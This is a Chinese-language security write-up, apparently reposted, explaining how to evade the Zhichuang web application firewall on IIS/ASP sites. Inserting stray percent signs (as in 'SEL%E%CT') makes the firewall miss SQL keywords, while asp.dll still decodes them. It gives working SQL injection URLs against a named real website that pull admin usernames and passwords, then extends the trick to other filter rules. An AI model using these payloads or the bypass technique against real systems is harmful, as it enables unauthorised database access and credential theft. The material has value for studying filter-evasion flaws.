绕过智创在线waf继续注入

智创网站专业级防火墙在某些web环境下,可被绕过
详细说明:随着各种工具的出现,导致对web漏洞利用很容易,而web程序员很多不会对所有web漏洞都非常了解,而且培训的 成本也是很高的,因此,有些站点都是依靠第三方程序来使得站点尽量安全。而第三方程序为了兼容后面的各种web环境,因此一般都是在网络层防护,类似 waf等,而智创应该算是一种。这种防护理论上来说很好,即使后台程序漏洞在多,危害再大,然而攻击请求在没有触发漏洞之前都会被网络层的waf等防护拦 截。

但是waf本身 就是一些规则,如果规则匹配失败,就会放行,如果一种情况没有考虑到,就会被绕过。
前人已经总结很多了,这里就不说了。这里主要利用iis对asp后参数串进行url解码的特性绕过智创防火墙。

构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%28admin%29%29
返回如下页面:

说明该注入已经被成功拦截。

因此构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=%28-575%29UNION%20%28SEL%E%CT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%28admin%29%29
返回如下界面:

被成功绕过.这里主要SEL%E%CT来代替select,简单来说一下这个网络层waf对SEL%E%CT进行url解码后变成SEL%E%CT 匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select
这样asp程序中会使用select去查询数据库,所以成功注入。不知道说明白没有…

总结一下:
IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(下两个字符有一个不是十六进制)字符。

因此在网络层的防护,只要内置规则大于两个字符,就会被绕过。如内置规则为..可以使用.%.来绕过.

本文作者possible转自红黑联盟由网络安全攻防研究室(www.91ri.org)网络信息安全小组收集整理。